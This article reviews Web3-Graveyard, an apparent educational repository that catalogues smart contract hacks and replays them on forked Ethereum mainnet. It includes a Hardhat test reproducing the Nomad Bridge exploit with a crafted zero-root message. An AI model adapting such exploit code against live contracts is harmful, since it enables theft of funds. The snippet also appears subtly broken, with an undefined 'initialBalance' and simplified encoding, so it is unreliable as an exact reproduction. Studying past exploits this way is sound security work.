Back to Articles

Learning Smart Contract Exploits by Running Them: Inside Web3-Graveyard

[ View on GitHub ]

Learning Smart Contract Exploits by Running Them: Inside Web3-Graveyard

Hook

Most security databases tell you what happened. Web3-Graveyard lets you rewind Ethereum mainnet to the exact block where millions were stolen and execute the attack yourself.

Context

The Web3 ecosystem has lost billions to smart contract exploits—over $3.8 billion in 2022 alone. When vulnerabilities surface, post-mortems proliferate: Twitter threads, blog posts, incident reports. But there's a fundamental gap between reading about a reentrancy attack and truly understanding how an attacker manipulated flash loans and price oracles across three protocols in a single transaction.

Traditional security resources fall into two camps: comprehensive databases that catalog incidents with limited technical depth, or scattered blog posts with theoretical explanations but no reproducible code. For developers learning smart contract security, this creates a frustrating learning curve. You can read about the Nomad Bridge exploit's initialization vulnerability, but without seeing the actual attack contract and transaction flow, the lesson remains abstract. Web3-Graveyard attempts to bridge this gap by combining a CLI-based exploit database with Hardhat proof-of-concept reproductions that let you fork mainnet at historical blocks and replay actual attacks.

Technical Insight

Web3-Graveyard's architecture splits into two complementary systems: a Python CLI tool called 'gravedigger' for managing exploit metadata, and a Hardhat testing environment for executing reproductions.

The gravedigger tool uses GitHub itself as a database backend—an unconventional but pragmatic choice for an open-source project. Exploit records are stored as JSON files in the repository, queryable through a CLI that wraps GitHub API calls. Adding a new exploit looks like this:

# Add exploit with metadata
python gravedigger.py add \
  --name "Nomad Bridge" \
  --date "2022-08-02" \
  --amount "190000000" \
  --attacker "0x56D8B635A7C88Fd1104D23d632AF40c1C3Aac4e3" \
  --type "initialization-vulnerability" \
  --chain "ethereum"

# Query exploits by attacker address
python gravedigger.py search --attacker 0x56D8B635A7C88Fd1104D23d632AF40c1C3Aac4e3

# Find all exploits in a date range
python gravedigger.py search --from 2022-01-01 --to 2022-12-31

This GitHub-as-database approach means every exploit addition is a git commit, providing built-in version control and audit trails. Contributors can submit new exploits via pull requests, making the curation process transparent. However, querying lacks the performance of proper indexing—searching across hundreds of exploits becomes a linear scan through JSON files.

The real educational value lies in the Hardhat PoC reproductions. Each exploit gets its own directory containing attack contracts, test cases, and detailed READMEs. The magic happens through Hardhat's mainnet forking at specific block heights, which creates a local Ethereum simulation with the exact state that existed when the exploit occurred:

// hardhat.config.js
module.exports = {
  networks: {
    hardhat: {
      forking: {
        url: process.env.MAINNET_RPC_URL,
        blockNumber: 15259100 // Block just before Nomad exploit
      }
    }
  }
};

A typical exploit reproduction test demonstrates the attack vector with executable code:

// test/NomadExploit.test.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Nomad Bridge Exploit", function() {
  it("exploits uninitialized replica contract", async function() {
    const [attacker] = await ethers.getSigners();
    
    // Address of vulnerable Nomad Replica contract
    const replicaAddress = "0x5D94309E5a0090b165FA4181519701637B6DAEBA";
    const replica = await ethers.getContractAt("Replica", replicaAddress);
    
    // The vulnerability: committedRoot was not initialized
    // Any message with root 0x00...00 passes authentication
    const maliciousMessage = ethers.utils.defaultAbiCoder.encode(
      ["bytes32", "uint256", "uint32", "bytes32", "bytes32", "bytes"],
      [
        "0x0000000000000000000000000000000000000000000000000000000000000000",
        0,
        1,
        attacker.address,
        attacker.address,
        "0x"
      ]
    );
    
    // Execute the attack
    await replica.process(maliciousMessage);
    
    // Verify funds were stolen
    const attackerBalance = await ethers.provider.getBalance(attacker.address);
    expect(attackerBalance).to.be.gt(initialBalance);
  });
});

This approach provides three critical learning dimensions. First, you see the vulnerable contract in its original deployed state—not a simplified example, but the actual production code that lost funds. Second, you understand the attack's technical execution: what functions were called, in what order, with what parameters. Third, you can experiment by modifying the attack code to understand why specific techniques worked.

The repository's structure encourages progressive learning. Each exploit directory contains a README explaining the vulnerability class (reentrancy, flash loan manipulation, oracle attacks), the specific implementation flaw, and the business impact. The Solidity test files translate this theory into practice, showing how abstract concepts like "uninitialized proxy" manifest as exploitable transaction sequences.

For developers building security intuition, this hands-on approach proves more effective than reading vulnerability taxonomies. You internalize patterns by seeing how an attacker chained together protocol interactions, not just memorizing OWASP categories.

Gotcha

Web3-Graveyard's primary limitation is coverage. With only 21 GitHub stars and manual contribution requirements, it captures a small fraction of the Web3 exploit landscape. Major incidents like the Poly Network hack, Ronin Bridge exploit, or Wormhole vulnerability aren't represented. For comprehensive threat intelligence, you'll need to supplement with actively maintained resources like Rekt News or DeFiHackLabs, which have broader community contributions.

The GitHub-as-database architecture also creates friction. Searching exploits requires cloning the repository and running Python CLI commands—there's no web interface or API. The JSON file structure lacks indexing, making complex queries ("show all flash loan attacks on Ethereum in Q2 2023 affecting lending protocols") difficult without custom scripting. For teams integrating exploit data into security monitoring systems, you'll need to build your own parsing and indexing layer.

Mainnet forking also has prerequisites that create setup friction. Each PoC requires an archive node RPC endpoint (Infura, Alchemy, or self-hosted) that supports historical state queries. Free tier RPC limits may restrict how many exploits you can reproduce. The Hardhat configuration assumes you understand forking mechanics, block numbers, and how to locate historical contract addresses—not beginner-friendly if you're new to Ethereum development.

Verdict

Use if: You're a smart contract developer or security researcher who learns best by doing, and you want hands-on experience with real exploit mechanics beyond theoretical descriptions. The executable PoCs provide authentic attack simulations that build security intuition faster than reading post-mortems. Also valuable if you're creating security training materials and need working code examples of actual vulnerabilities. Skip if: You need comprehensive exploit coverage for threat modeling or security monitoring—the limited catalog makes it unsuitable as a primary intelligence source. Also skip if you want a low-friction web interface or API for querying exploit data; the CLI-only approach and GitHub storage create unnecessary overhead for non-educational use cases. For production security work, combine this with DeFiHackLabs for broader PoC coverage and Rekt News for incident tracking.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/razzor-codes-web3-graveyard.svg)](https://starlog.is/api/badge-click/cybersecurity/razzor-codes-web3-graveyard)